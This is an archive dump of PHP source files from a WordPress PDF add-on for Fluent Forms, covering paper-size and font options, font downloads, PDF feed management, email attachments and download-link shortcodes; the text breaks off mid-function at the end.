OrderClasses/Controller/Activator.php000064400000004455147600022140012735 0ustar00delete($folder, true); } delete_option('_fluentform_pdf_settings'); } }Classes/Controller/FontManager.php000064400000004010147600022140013165 0ustar00getFontDir(); if(!function_exists('\list_files')) { $admin_path = ABSPATH .'/wp-admin/'; include_once $admin_path.'includes/file.php'; } $downloadedFiles = \list_files($fontDir, 1); $fileNames = []; foreach ($downloadedFiles as $file) { $fileNames[] = str_replace($fontDir, '', $file); } $coreFonts = $this->getCoreFonts(); $downloadableFonts = []; foreach ($coreFonts as $coreFont) { if($limit && count($downloadableFonts) == $limit) { return $downloadableFonts; } if(!in_array($coreFont['name'], $fileNames)) { $downloadableFonts[] = $coreFont; } } return $downloadableFonts; } public function download($fontName) { $destination = $this->getFontDir(); $res = wp_remote_get( $this->github_repo . $fontName, [ 'timeout' => 60, 'stream' => true, 'filename' => $destination . $fontName, ] ); /* Check for errors and log them to file */ if ( is_wp_error( $res ) ) { return $res; } $res_code = wp_remote_retrieve_response_code( $res ); if ( $res_code !== 200 ) { return new \WP_Error('failed', __('Core Font API Response Failed', 'fluentform-pdf')); } return true; } private function getFontDir() { $dirStructure = AvailableOptions::getDirStructure(); return $dirStructure['fontDir'].'/'; } } Classes/Controller/AvailableOptions.php000064400000027234147600022140014235 0ustar00 'A4 (210 x 297mm)', 'Letter' => 'Letter (8.5 x 11in)', 'Legal' => 'Legal (8.5 x 14in)', 'ledger' => 'Ledger / Tabloid (11 x 17in)', 'Executive' => 'Executive (7 x 10in)', 'A0' => 'A0 (841 x 1189mm)', 'A1' => 'A1 (594 x 841mm)', 'A2' => 'A2 (420 x 594mm)', 'A3' => 'A3 (297 x 420mm)', 'A5' => 'A5 (148 x 210mm)', 'A6' => 'A6 (105 x 148mm)', 'A7' => 'A7 (74 x 105mm)', 'A8' => 'A8 (52 x 74mm)', 'A9' => 'A9 (37 x 52mm)', 'A10' => 'A10 (26 x 37mm)', 'B0' => 'B0 (1414 x 1000mm)', 'B1' => 'B1 (1000 x 707mm)', 'B2' => 'B2 (707 x 500mm)', 'B3' => 'B3 (500 x 353mm)', 'B4' => 'B4 (353 x 250mm)', 'B5' => 'B5 (250 x 176mm)', 'B6' => 'B6 (176 x 125mm)', 'B7' => 'B7 (125 x 88mm)', 'B8' => 'B8 (88 x 62mm)', 'B9' => 'B9 (62 x 44mm)', 'B10' => 'B10 (44 x 31mm)', 'C0' => 'C0 (1297 x 917mm)', 'C1' => 'C1 (917 x 648mm)', 'C2' => 'C2 (648 x 458mm)', 'C3' => 'C3 (458 x 324mm)', 'C4' => 'C4 (324 x 229mm)', 'C5' => 'C5 (229 x 162mm)', 'C6' => 'C6 (162 x 114mm)', 'C7' => 'C7 (114 x 81mm)', 'C8' => 'C8 (81 x 57mm)', 'C9' => 'C9 (57 x 40mm)', 'C10' => 'C10 (40 x 28mm)', 'RA0' => 'RA0 (860 x 1220mm)', 'RA1' => 'RA1 (610 x 860mm)', 'RA2' => 'RA2 (430 x 610mm)', 'RA3' => 'RA3 (305 x 430mm)', 'RA4' => 'RA4 (215 x 305mm)', 'SRA0' => 'SRA0 (900 x 1280mm)', 'SRA1' => 'SRA1 (640 x 900mm)', 'SRA2' => 'SRA2 (450 x 640mm)', 'SRA3' => 'SRA3 (320 x 450mm)', 'SRA4' => 'SRA4 (225 x 320mm)', 'B' => 'B (128 x 198mm)', 'A' => 'B (111 x 178mm)', 'DEMY' => 'DEMY (135 x 216mm)', 'ROYAL' => 'ROYAL (135 x 216mm)' ]; } public static function getOrientations() { return [ 'P' => "Portrait", 'L' => 'Landscape' ]; } public static function getFonts() { return [ 'default' => 'Default', 'serif' => 'Serif', 'monospace' => 'Monospace' ]; } public static function getDefaultSettings() { return [ 'font_size' => '16', "paper_size" => 'A4', 'template' => 'blank', 'orientation' => 'P', 'font' => 'default', 'font_color' => '#000000', 'entry_view' => 'I', 'reverse_text' => 'no', 'accent_color' => '#CCCCCC', 'filename' => 'fluentformpdf' ]; } public static function commonSettings() { return [ [ 'key' => 'paper_size', 'label' => __('Paper size', 'fluentform-pdf'), 'component' => 'dropdown', 'tab' => 'tab2', 'tips' => __('select a pdf paper size', 'fluentform-pdf'), 'options' => self::getPaperSizes() ], [ 'key' => 'orientation', 'label' => __('Orientation', 'fluentform-pdf'), 'tab' => 'tab2', 'component' => 'dropdown', 'options' => self::getOrientations() ], [ 'key' => 'font', 'label' => __('Font family', 'fluentform-pdf'), 'component' => 'dropdown', 'tab' => 'tab2', 'options' => self::getFonts() ], [ 'key' => 'font_size', 'label' => __('Font size', 'fluentform-pdf'), 'tab' => 'tab2', 'component' => 'number' ], [ 'key' => 'font_color', 'label' => __('Font color', 'fluentform-pdf'), 'tab' => 'tab2', 'tips' => __('The font color will use in the PDF.', 'fluentform-pdf'), 'component' => 'color_picker' ], [ 'key' => 'accent_color', 'label' => __('Accent color', 'fluentform-pdf'), 'tab' => 'tab2', 'tips' => __('The accent color is used for the page, section titles and the border.', 'fluentform-pdf'), 'component' => 'color_picker' ], [ 'key' => 'entry_view', 'label' => __('Entry view', 'fluentform-pdf'), 'tab' => 'tab2', 'component' => 'radio_choice', 'options' => [ 'I' => __('View', 'fluentform-pdf'), 'D' => __('Download', 'fluentform-pdf') ] ], [ 'key' => 'empty_fields', 'label' => __('Show empty fields', 'fluentform-pdf'), 'tab' => 'tab2', 'component' => 'radio_choice', 'options' => [ 'yes' => __('Yes', 'fluentform-pdf'), 'no' => __('No', 'fluentform-pdf') ] ], [ 'key' => 'reverse_text', 'label' => __('Reverse text', 'fluentform-pdf'), 'tab' => 'tab2', 'tips' => __('Script like Arabic and Hebrew are written right to left.', 'fluentform-pdf'), 'component' => 'radio_choice', 'options' => [ 'yes' => __('Yes', 'fluentform-pdf'), 'no' => __('No', 'fluentform-pdf') ] ] ]; } public static function slugify($string) { return strtolower(trim(preg_replace('/[^A-Za-z0-9-]+/', '-', $string), '-')); } public static function getPreferences($settings, $default) { $color = Arr::get($settings, 'font_color'); $accent = Arr::get($settings, 'accent_color'); if ($color == '' || null) { $color = Arr::get($default, 'font_color'); } if ($accent == '' || null) { $accent = Arr::get($default, 'accent_color'); } return [ 'color' => $color, 'accent' => $accent, 'font' => Arr::get($settings, 'font', Arr::get($default, 'font')), 'fontSize' => Arr::get($settings, 'font_size', Arr::get($default, 'font_size')) ]; } public static function getDirStructure() { /* * Todo: Need a fix for multi-site network */ $workingPath = wp_upload_dir()['basedir']; $workingDir = apply_filters_deprecated( 'fluentform_pdf_working_dir', [ $workingPath . '/FLUENT_PDF_TEMPLATES' ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_working_dir', 'Use fluentform/pdf_working_dir instead of fluentform_pdf_working_dir.' ); $workingDir = apply_filters('fluentform/pdf_working_dir', $workingPath . '/FLUENT_PDF_TEMPLATES'); $tmpDir = apply_filters_deprecated( 'fluentform_pdf_temp_dir', [ $workingDir . '/temp' ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_temp_dir', 'Use fluentform/pdf_temp_dir instead of fluentform_pdf_temp_dir.' ); $tmpDir = apply_filters('fluentform/pdf_temp_dir', $workingDir . '/temp'); $cacheDir = apply_filters_deprecated( 'fluentform_pdf_cache_dir', [ $workingDir . '/pdfCache' ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_cache_dir', 'Use fluentform/pdf_cache_dir instead of fluentform_pdf_cache_dir.' ); $cacheDir = apply_filters('fluentform/pdf_cache_dir', $workingDir . '/pdfCache'); $fontDir = apply_filters_deprecated( 'fluentform_pdf_font_dir', [ $workingDir . '/fonts' ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_font_dir', 'Use fluentform/pdf_font_dir instead of fluentform_pdf_font_dir.' ); $fontDir = apply_filters('fluentform/pdf_font_dir', $workingDir . '/fonts'); return [ 'workingDir' => $workingDir, 'tempDir' => apply_filters('fluentform/pdf_temp_dir', $workingDir . '/temp'), 'pdfCacheDir' => apply_filters('fluentform/pdf_cache_dir', $workingDir . '/pdfCache'), 'fontDir' => apply_filters('fluentform/pdf_font_dir', $workingDir . '/fonts') ]; } public static function getInstalledFonts() { $fonts = [ 'Unicode' => [ 'dejavusanscondensed' => 'Dejavu Sans Condensed', 'dejavusans' => 'Dejavu Sans', 'dejavuserifcondensed' => 'Dejavu Serif Condensed', 'dejavuserif' => 'Dejavu Serif', 'dejavusansmono' => 'Dejavu Sans Mono', 'freesans' => 'Free Sans', 'freeserif' => 'Free Serif', 'freemono' => 'Free Mono', 'mph2bdamase' => 'MPH 2B Damase', ], 'Indic' => [ 'lohitkannada' => 'Lohit Kannada', 'pothana2000' => 'Pothana2000', ], 'Arabic' => [ 'xbriyaz' => 'XB Riyaz', 'lateef' => 'Lateef', 'kfgqpcuthmantahanaskh' => 'Bahif Uthman Taha', ], 'Chinese, Japanese, Korean' => [ 'sun-exta' => 'Sun Ext', 'unbatang' => 'Un Batang (Korean)', ], 'Other' => [ 'estrangeloedessa' => 'Estrangelo Edessa (Syriac)', 'kaputaunicode' => 'Kaputa (Sinhala)', 'abyssinicasil' => 'Abyssinica SIL (Ethiopic)', 'aboriginalsans' => 'Aboriginal Sans (Cherokee / Canadian)', 'jomolhari' => 'Jomolhari (Tibetan)', 'sundaneseunicode' => 'Sundanese (Sundanese)', 'taiheritagepro' => 'Tai Heritage Pro (Tai Viet)', 'aegyptus' => 'Aegyptus (Egyptian Hieroglyphs)', 'akkadian' => 'Akkadian (Cuneiform)', 'aegean' => 'Aegean (Greek)', 'quivira' => 'Quivira (Greek)', 'eeyekunicode' => 'Eeyek (Meetei Mayek)', 'lannaalif' => 'Lanna Alif (Tai Tham)', 'daibannasilbook' => 'Dai Banna SIL (New Tai Lue)', 'garuda' => 'Garuda (Thai)', 'khmeros' => 'Khmer OS (Khmer)', 'dhyana' => 'Dhyana (Lao)', 'tharlon' => 'TharLon (Myanmar / Burmese)', 'padaukbook' => 'Padauk Book (Myanmar / Burmese)', 'zawgyi-one' => 'Zawgyi One (Myanmar / Burmese)', 'ayar' => 'Ayar Myanmar (Myanmar / Burmese)', 'taameydavidclm' => 'Taamey David CLM (Hebrew)', ], ]; $fontList = apply_filters_deprecated( 'fluentform_pdf_font_list', [ $fonts ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_font_list', 'Use fluentform/pdf_font_list instead of fluentform_pdf_font_list.' ); return apply_filters('fluentform/pdf_font_list', $fonts); } } Classes/Controller/GlobalPdfManager.php000064400000076707147600022140014137 0ustar00app = $app; $this->registerHooks(); } protected function registerHooks() { // $this->cleanupTempDir(); add_action('fluentform_pdf_cleanup_tmp_dir', array($this, 'cleanupTempDir')); // Global settings register add_filter('fluentform/global_settings_components', [$this, 'globalSettingMenu']); add_filter('fluentform/form_settings_menu', [$this, 'formSettingsMenu']); // single form pdf settings fields ajax add_action( 'wp_ajax_fluentform_get_form_pdf_template_settings', [$this, 'getFormTemplateSettings'] ); add_action('wp_ajax_fluentform_pdf_admin_ajax_actions', [$this, 'ajaxRoutes']); /* * Changed from : fluentform_single_entry_widgets */ add_filter('fluentform/submissions_widgets', array($this, 'pushPdfButtons'), 10, 3); add_filter('fluentform/email_attachments', array($this, 'maybePushToEmail'), 10, 5); add_action('fluentform/addons_page_render_fluentform_pdf_settings', array($this, 'renderGlobalPage')); add_action('admin_notices', function () { if (!get_option($this->optionKey) && Acl::hasAnyFormPermission()) echo fluentform_sanitize_html('

' . __('Fluent Forms PDF require to download fonts. Please ', 'fluentform-pdf') . '' . __('click here', 'fluentform-pdf') . '' . __(' to download and configure the settings', 'fluentform-pdf') . '

'); }); add_filter('fluentform/pdf_body_parse', function($content, $entryId, $formData, $form){ if(!defined('FLUENTFORMPRO')){ return $content; } $processor = new \FluentFormPro\classes\ConditionalContent(); return $processor::initiate($content, $entryId, $formData, $form); }, 10, 4); add_filter('fluentform/all_editor_shortcodes', [$this, 'pushShortCode'], 10, 2); add_filter( 'fluentform/shortcode_parser_callback_pdf.download_link', [$this, 'createLink'], 10, 2 ); add_filter( 'fluentform/shortcode_parser_callback_pdf.download_link.public', [$this, 'createPublicLink'], 10, 2 ); add_action('wp_ajax_fluentform_pdf_download', [$this, 'download']); add_action('wp_ajax_fluentform_pdf_download_public', [$this, 'downloadPublic']); add_action('wp_ajax_nopriv_fluentform_pdf_download_public', [$this, 'downloadPublic']); } public function globalSettingMenu($setting) { $setting["pdf_settings"] = [ "hash" => "pdf_settings", "title" => __("PDF Settings", 'fluentform-pdf') ]; return $setting; } public function formSettingsMenu($settingsMenus) { $settingsMenus['pdf'] = [ 'title' => __('PDF Feeds', 'fluentform-pdf'), 'slug' => 'pdf-feeds', 'hash' => 'pdf', 'route' => '/pdf-feeds' ]; return $settingsMenus; } public function ajaxRoutes() { $maps = [ 'get_global_settings' => 'getGlobalSettingsAjax', 'save_global_settings' => 'saveGlobalSettings', 'get_feeds' => 'getFeedsAjax', 'feed_lists' => 'getFeedListAjax', 'create_feed' => 'createFeedAjax', 'get_feed' => 'getFeedAjax', 'save_feed' => 'saveFeedAjax', 'delete_feed' => 'deleteFeedAjax', 'download_pdf' => 'getPdf', 'downloadFonts' => 'downloadFonts' ]; $route = sanitize_text_field($_REQUEST['route']); Acl::verify('fluentform_forms_manager'); if (isset($maps[$route])) { $this->{$maps[$route]}(); } } public function getGlobalSettingsAjax() { wp_send_json_success([ 'settings' => $this->globalSettings(), 'fields' => $this->getGlobalFields() ]); } private function globalSettings() { $defaults = [ 'paper_size' => 'A4', 'orientation' => 'P', 'font' => 'default', 'font_size' => '14', 'font_color' => '#323232', 'accent_color' => '#989797', 'heading_color' => '#000000', 'language_direction' => 'ltr' ]; $option = get_option($this->optionKey); if (!$option || !is_array($option)) { return $defaults; } return wp_parse_args($option, $defaults); } public function saveGlobalSettings() { $settings = wp_unslash($_REQUEST['settings']); $sanitizerMap = [ 'accent_color' => 'sanitize_text_field', 'font' => 'sanitize_text_field', 'font_color' => 'sanitize_text_field', 'font_size' => 'intval', 'heading_color' => 'sanitize_text_field', 'language_direction' => 'sanitize_text_field', 'orientation' => 'sanitize_text_field', 'font_family' => 'fluentform_sanitize_html', ]; $settings = $this->sanitizeData($settings, $sanitizerMap); update_option($this->optionKey, $settings); wp_send_json_success([ 'message' => __('Settings successfully updated', 'fluentform-pdf') ], 200); } public function getFeedsAjax() { $formId = intval($_REQUEST['form_id']); $form = wpFluent()->table('fluentform_forms') ->where('id', $formId) ->first(); $feeds = $this->getFeeds($form->id); wp_send_json_success([ 'pdf_feeds' => $feeds, 'templates' => $this->getAvailableTemplates($form) ], 200); } public function getFeedListAjax() { $formId = intval($_REQUEST['form_id']); $feeds = $this->getFeeds($formId); $formattedFeeds = []; foreach ($feeds as $feed) { $formattedFeeds[] = [ 'label' => $feed['name'], 'id' => $feed['id'] ]; } wp_send_json_success([ 'pdf_feeds' => $formattedFeeds ], 200); } public function createFeedAjax() { $templateName = sanitize_text_field($_REQUEST['template']); $formId = intval($_REQUEST['form_id']); $form = wpFluent()->table('fluentform_forms') ->where('id', $formId) ->first(); $templates = $this->getAvailableTemplates($form); if (!isset($templates[$templateName]) || !$formId) { wp_send_json_error([ 'message' => __('Sorry! No template found!', 'fluentform-pdf') ], 423); } $template = $templates[$templateName]; $class = $template['class']; if (!class_exists($class)) { wp_send_json_error([ 'message' => __('Sorry! No template Class found!', 'fluentform-pdf') ], 423); } $instance = new $class($this->app); $defaultSettings = $instance->getDefaultSettings($form); $sanitizerMap = [ 'header' => 'fluentform_sanitize_html', 'footer' => 'fluentform_sanitize_html', 'body' => 'fluentform_sanitize_html' ]; $defaultSettings = $this->sanitizeData($defaultSettings, $sanitizerMap); $data = [ 'name' => $template['name'], 'template_key' => $templateName, 'settings' => $defaultSettings, 'appearance' => $this->globalSettings() ]; $insertId = wpFluent()->table('fluentform_form_meta') ->insertGetId([ 'meta_key' => '_pdf_feeds', 'form_id' => $formId, 'value' => wp_json_encode($data) ]); wp_send_json_success([ 'feed_id' => $insertId, 'message' => __('Feed has been created, edit the feed now') ], 200); } private function getFeeds($formId) { $feeds = wpFluent()->table('fluentform_form_meta') ->where('form_id', $formId) ->where('meta_key', '_pdf_feeds') ->get(); $formattedFeeds = []; foreach ($feeds as $feed) { $settings = json_decode($feed->value, true); $settings['id'] = $feed->id; $formattedFeeds[] = $settings; } return $formattedFeeds; } public function getFeedAjax() { $formId = intval($_REQUEST['form_id']); $form = wpFluent()->table('fluentform_forms') ->where('id', $formId) ->first(); $feedId = intval($_REQUEST['feed_id']); $feed = wpFluent()->table('fluentform_form_meta') ->where('id', $feedId) ->where('meta_key', '_pdf_feeds') ->first(); $settings = json_decode($feed->value, true); $templateName = ArrayHelper::get($settings, 'template_key'); $templates = $this->getAvailableTemplates($form); if (!isset($templates[$templateName]) || !$formId) { wp_send_json_error([ 'message' => __('Sorry! No template found!', 'fluentform-pdf') ], 423); } $template = $templates[$templateName]; $class = $template['class']; if (!class_exists($class)) { wp_send_json_error([ 'message' => __('Sorry! No template Class found!', 'fluentform-pdf') ], 423); } $instance = new $class($this->app); $globalFields = $this->getGlobalFields(); $globalFields['watermark_image'] = [ 'key' => 'watermark_image', 'label' => __('Watermark Image', 'fluentform-pdf'), 'component' => 'image_widget' ]; $globalFields['watermark_text'] = [ 'key' => 'watermark_text', 'label' => __('Watermark Text', 'fluentform-pdf'), 'component' => 'text', 'placeholder' => __('Watermark text', 'fluentform-pdf') ]; $globalFields['watermark_opacity'] = [ 'key' => 'watermark_opacity', 'label' => __('Watermark Opacity', 'fluentform-pdf'), 'component' => 'number', 'inline_tip' => __('Value should be between 1 to 100', 'fluentform-pdf') ]; $globalFields['watermark_img_behind'] = [ 'key' => 'watermark_img_behind', 'label' => __('Watermark Position', 'fluentform-pdf'), 'component' => 'checkbox-single', 'inline_tip' => __('Set as background', 'fluentform-pdf') ]; $globalFields['security_pass'] = [ 'key' => 'security_pass', 'label' => 'PDF Password', 'component' => 'text', 'inline_tip' => __('If you want to set password please enter password otherwise leave it empty', 'fluentform-pdf') ]; $settingsFields = $instance->getSettingsFields(); $settingsFields[] = [ 'key' => 'allow_download', 'label' => __('Allow Download', 'fluentform-pdf'), 'tips' => __('Allow this feed to be downloaded on form submission. Only logged in users will be able to download.', 'fluentform-pdf'), 'component' => 'radio_choice', 'options' => [ true => __('Yes', 'fluentform-pdf'), false => __('No', 'fluentform-pdf') ] ]; $settingsFields[] = [ 'key' => 'shortcode', 'label' => __('Shortcode', 'fluentform-pdf'), 'tips' => __('Use this shortcode on submission message to generate PDF link.', 'fluentform-pdf'), 'component' => 'text', 'readonly' => true ]; $settings['settings']['shortcode'] = '{pdf.download_link.' . $feedId. '}'; wp_send_json_success([ 'feed' => $settings, 'settings_fields' => $settingsFields, 'appearance_fields' => $globalFields ], 200); } public function saveFeedAjax() { $formId = intval($_REQUEST['form_id']); $form = wpFluent()->table('fluentform_forms') ->where('id', $formId) ->first(); $feedId = intval($_REQUEST['feed_id']); $feed = wp_unslash($_REQUEST['feed']); if (empty($feed['name'])) { wp_send_json_error([ 'message' => __('Feed name is required', 'fluentform-pdf') ], 423); } $sanitizerMap = [ 'name' => 'sanitize_text_field', 'header' => 'fluentform_sanitize_html', 'footer' => 'fluentform_sanitize_html', 'body' => 'fluentform_sanitize_html', 'shortcode' => 'sanitize_text_field', 'allow_download' => 'rest_sanitize_boolean', 'logo' => 'sanitize_url', 'invoice_upper_text' => 'sanitize_text_field', 'invoice_thanks' => 'sanitize_text_field', 'invoice_prefix' => 'sanitize_text_field', 'customer_name' => 'sanitize_text_field', 'customer_email' => 'sanitize_email', 'customer_address' => 'sanitize_text_field' ]; $feed = $this->sanitizeData($feed, $sanitizerMap); wpFluent()->table('fluentform_form_meta') ->where('id', $feedId) ->update([ 'value' => wp_json_encode($feed) ]); wp_send_json_success([ 'message' => __('Settings successfully updated', 'fluentform-pdf') ], 200); } public function deleteFeedAjax() { $feedId = intval($_REQUEST['feed_id']); wpFluent()->table('fluentform_form_meta') ->where('id', $feedId) ->where('meta_key', '_pdf_feeds') ->delete(); wp_send_json_success([ 'message' => __('Feed successfully deleted', 'fluentform-pdf') ], 200); } /* * @return key => [ path, name] * To register a new template this filter must hook for path mapping * filter: fluentform_pdf_template_map */ public function getAvailableTemplates($form) { $templates = [ "general" => [ 'name' => 'General', 'class' => '\FluentFormPdf\Classes\Templates\GeneralTemplate', 'key' => 'general', 'preview' => FLUENTFORM_PDF_URL . 'assets/images/basic_template.png' ] ]; if ($form->has_payment) { $templates['invoice'] = [ 'name' => 'Invoice', 'class' => '\FluentFormPdf\Classes\Templates\InvoiceTemplate', 'key' => 'invoice', 'preview' => FLUENTFORM_PDF_URL . 'assets/images/tabular.png' ]; } $pdfTemplates = apply_filters_deprecated( 'fluentform_pdf_templates', [ $templates, $form ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_templates', 'Use fluentform/pdf_templates instead of fluentform_pdf_templates.' ); return apply_filters('fluentform/pdf_templates', $templates, $form); } /* * @return [ key name] * global pdf setting fields */ public function getGlobalFields() { return [ [ 'key' => 'paper_size', 'label' => __('Paper size', 'fluentform-pdf'), 'component' => 'dropdown', 'tips' => __('All available templates are shown here, select a default template', 'fluentform-pdf'), 'options' => AvailableOptions::getPaperSizes() ], [ 'key' => 'orientation', 'label' => __('Orientation', 'fluentform-pdf'), 'component' => 'dropdown', 'options' => AvailableOptions::getOrientations() ], [ 'key' => 'font_family', 'label' => __('Font Family', 'fluentform-pdf'), 'component' => 'dropdown-group', 'placeholder' => __('Select Font', 'fluentform-pdf'), 'options' => AvailableOptions::getInstalledFonts() ], [ 'key' => 'font_size', 'label' => __('Font size', 'fluentform-pdf'), 'component' => 'number' ], [ 'key' => 'font_color', 'label' => __('Font color', 'fluentform-pdf'), 'component' => 'color_picker' ], [ 'key' => 'heading_color', 'label' => __('Heading color', 'fluentform-pdf'), 'tips' => __('Select Heading Color', 'fluentform-pdf'), 'component' => 'color_picker' ], [ 'key' => 'accent_color', 'label' => __('Accent color', 'fluentform-pdf'), 'tips' => __('The accent color is used for the borders, breaks etc.', 'fluentform-pdf'), 'component' => 'color_picker' ], [ 'key' => 'language_direction', 'label' => __('Language Direction', 'fluentform-pdf'), 'tips' => __('Script like Arabic and Hebrew are written right to left. For Arabic/Hebrew please select RTL', 'fluentform-pdf'), 'component' => 'radio_choice', 'options' => [ 'ltr' => __('LTR', 'fluentform-pdf'), 'rtl' => __('RTL', 'fluentform-pdf') ] ] ]; } public function pushPdfButtons($widgets, $data, $submission) { $formId = $submission->form->id; $feeds = $this->getFeeds($formId); if (!$feeds) { return $widgets; } $widgetData = [ 'title' => __('PDF Downloads', 'fluentform-pdf'), 'type' => 'html_content' ]; $fluent_forms_admin_nonce = wp_create_nonce('fluent_forms_admin_nonce'); $contents = ''; $widgetData['content'] = $contents; $widgets['pdf_feeds'] = $widgetData; return $widgets; } public function getPdfConfig($settings, $default) { return [ 'mode' => 'utf-8', 'format' => ArrayHelper::get($settings, 'paper_size', ArrayHelper::get($default, 'paper_size')), 'orientation' => ArrayHelper::get($settings, 'orientation', ArrayHelper::get($default, 'orientation')), // 'debug' => true //uncomment this debug on development ]; } /* * when download button will press * Pdf rendering will control from here */ public function getPdf() { $feedId = intval($_REQUEST['id']); $submissionId = intval($_REQUEST['submission_id']); $feed = wpFluent()->table('fluentform_form_meta') ->where('id', $feedId) ->where('meta_key', '_pdf_feeds') ->first(); $settings = json_decode($feed->value, true); $settings['id'] = $feed->id; $form = wpFluent()->table('fluentform_forms') ->where('id', $feed->form_id) ->first(); $templateName = ArrayHelper::get($settings, 'template_key'); $templates = $this->getAvailableTemplates($form); if (!isset($templates[$templateName])) { die(__('Sorry! No template found', 'fluentform-pdf')); } $template = $templates[$templateName]; $class = $template['class']; if (!class_exists($class)) { die(__('Sorry! No template class found', 'fluentform-pdf')); } $instance = new $class($this->app); $instance->viewPDF($submissionId, $settings); } public function maybePushToEmail($emailAttachments, $emailData, $formData, $entry, $form) { if (!ArrayHelper::get($emailData, 'pdf_attachments')) { return $emailAttachments; } $pdfFeedIds = ArrayHelper::get($emailData, 'pdf_attachments'); $feeds = wpFluent()->table('fluentform_form_meta') ->whereIn('id', $pdfFeedIds) ->where('meta_key', '_pdf_feeds') ->where('form_id', $form->id) ->get(); $templates = $this->getAvailableTemplates($form); foreach ($feeds as $feed) { $settings = json_decode($feed->value, true); $settings['id'] = $feed->id; $templateName = ArrayHelper::get($settings, 'template_key'); if (!isset($templates[$templateName])) { continue; } $template = $templates[$templateName]; $class = $template['class']; if (!class_exists($class)) { continue; } $instance = new $class($this->app); // we have to compute the file name to make it unique $fileName = $settings['name'] . '_' . $entry->id . '_' . $feed->id; //parse shortcodes in file name $fileName = ShortCodeParser::parse( $fileName, $entry->id, $formData); $fileName = sanitize_title($fileName, 'pdf-file', 'display'); if(is_multisite()) { $fileName .= '_'.get_current_blog_id(); } $file = $instance->outputPDF($entry->id, $settings, $fileName, false); if ($file) { $emailAttachments[] = $file; } } return $emailAttachments; } public function renderGlobalPage() { wp_enqueue_script('fluentform_pdf_admin', FLUENTFORM_PDF_URL . 'assets/js/admin.js', ['jquery'], FLUENTFORM_PDF_VERSION, true); $fontManager = new FontManager(); $downloadableFiles = $fontManager->getDownloadableFonts(); wp_localize_script('fluentform_pdf_admin', 'fluentform_pdf_admin', [ 'ajaxUrl' => admin_url('admin-ajax.php') ]); $statuses = []; $globalSettingsUrl = '#'; if (!$downloadableFiles) { $statuses = $this->getSystemStatuses(); $globalSettingsUrl = admin_url('admin.php?page=fluent_forms_settings#pdf_settings'); if (!get_option($this->optionKey)) { update_option($this->optionKey, $this->globalSettings(), 'no'); } } include FLUENTFORM_PDF_PATH . '/assets/views/admin_screen.php'; } public function downloadFonts() { $fontManager = new FontManager(); $downloadableFiles = $fontManager->getDownloadableFonts(3); $downloadedFiles = []; foreach ($downloadableFiles as $downloadableFile) { $fontName = $downloadableFile['name']; $res = $fontManager->download($fontName); $downloadedFiles[] = $fontName; if (is_wp_error($res)) { wp_send_json_error([ 'message' => __('Font Download failed. Please reload and try again', 'fluentform-pdf') ], 423); } } wp_send_json_success([ 'downloaded_files' => $downloadedFiles ], 200); } private function getSystemStatuses() { $mbString = extension_loaded('mbstring'); $mbRegex = extension_loaded('mbstring') && function_exists('mb_regex_encoding'); $gd = extension_loaded('gd'); $dom = extension_loaded('dom') || class_exists('DOMDocument'); $libXml = extension_loaded('libxml'); $extensions = [ 'mbstring' => [ 'status' => $mbString, 'label' => ($mbString) ? __('MBString is enabled', 'fluentform-pdf') : __('The PHP Extension MB String could not be detected. Contact your web hosting provider to fix.', 'fluentform-pdf') ], 'mb_regex_encoding' => [ 'status' => $mbRegex, 'label' => ($mbRegex) ? __('MBString Regex is enabled', 'fluentform-pdf') : __('The PHP Extension MB String does not have MB Regex enabled. Contact your web hosting provider to fix.', 'fluentform-pdf') ], 'gd' => [ 'status' => $gd, 'label' => ($gd) ? __('GD Library is enabled', 'fluentform-pdf') : __('The PHP Extension GD Image Library could not be detected. Contact your web hosting provider to fix.', 'fluentform-pdf') ], 'dom' => [ 'status' => $dom, 'label' => ($dom) ? __('PHP Dom is enabled', 'fluentform-pdf') : __('The PHP DOM Extension was not found. Contact your web hosting provider to fix.', 'fluentform-pdf') ], 'libXml' => [ 'status' => $libXml, 'label' => ($libXml) ? __('LibXml is OK', 'fluentform-pdf') : __('The PHP Extension libxml could not be detected. Contact your web hosting provider to fix', 'fluentform-pdf') ] ]; $overAllStatus = $mbString && $mbRegex && $gd && $dom && $libXml; return [ 'status' => $overAllStatus, 'extensions' => $extensions ]; } public function cleanupTempDir() { $max_file_age = time() - 6 * 3600; /* Max age is 6 hours old */ $dirs = AvailableOptions::getDirStructure(); $cleanUpDirs = [ $dirs['tempDir'].'/ttfontdata/', $dirs['pdfCacheDir'].'/' ]; foreach ($cleanUpDirs as $tmp_directory) { if (is_dir($tmp_directory)) { try { $directory_list = new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($tmp_directory, \RecursiveDirectoryIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST ); foreach ($directory_list as $file) { if (in_array($file->getFilename(), ['.htaccess', 'index.html'], true)) { continue; } if ($file->isReadable() && $file->getMTime() < $max_file_age) { if (!$file->isDir()) { unlink($file); } } } } catch (\Exception $e) { // } } } } public function pushShortCode($shortCodes, $formID) { $feeds = wpFluent()->table('fluentform_form_meta') ->where('form_id', $formID) ->where('meta_key', '_pdf_feeds') ->get(); $feedShortCodes = [ '{pdf.download_link}' => 'Submission PDF link' ]; foreach ($feeds as $feed) { $feedSettings = json_decode($feed->value); $key = '{pdf.download_link.' . $feed->id . '}'; $feedShortCodes[$key] = $feedSettings->name . ' feed PDF link'; } $shortCodes[] = [ 'title' => __('PDF', 'fluentform-pdf'), 'shortcodes' => $feedShortCodes ]; return $shortCodes; } /** * @var string $shortCode * @var \FluentForm\App\Services\FormBuilder\ShortCodeParser $parser */ public function createLink($shortCode, $parser) { $form = $parser->getForm(); $entry = $parser->getEntry(); // Currently we are assuming there is only one PDF Feed. // Hence the PDF Download Link will always be the first one. $feed = wpFluent()->table('fluentform_form_meta') ->where('form_id', $form->id) ->where('meta_key', '_pdf_feeds') ->first(); if ($feed) { $feedSettings = json_decode($feed->value, true); if (ArrayHelper::get($feedSettings, 'settings.allow_download')) { $nonce = wp_create_nonce('fluent_forms_admin_nonce'); $url = admin_url('admin-ajax.php?action=fluentform_pdf_download&fluent_forms_admin_nonce=' . $nonce . '&submission_id=' . $entry->id . '&id=' . $feed->id); return $url; } } } public function download() { Acl::verifyNonce(); if (!is_user_logged_in()) { $message = __('Sorry! You have to login first.', 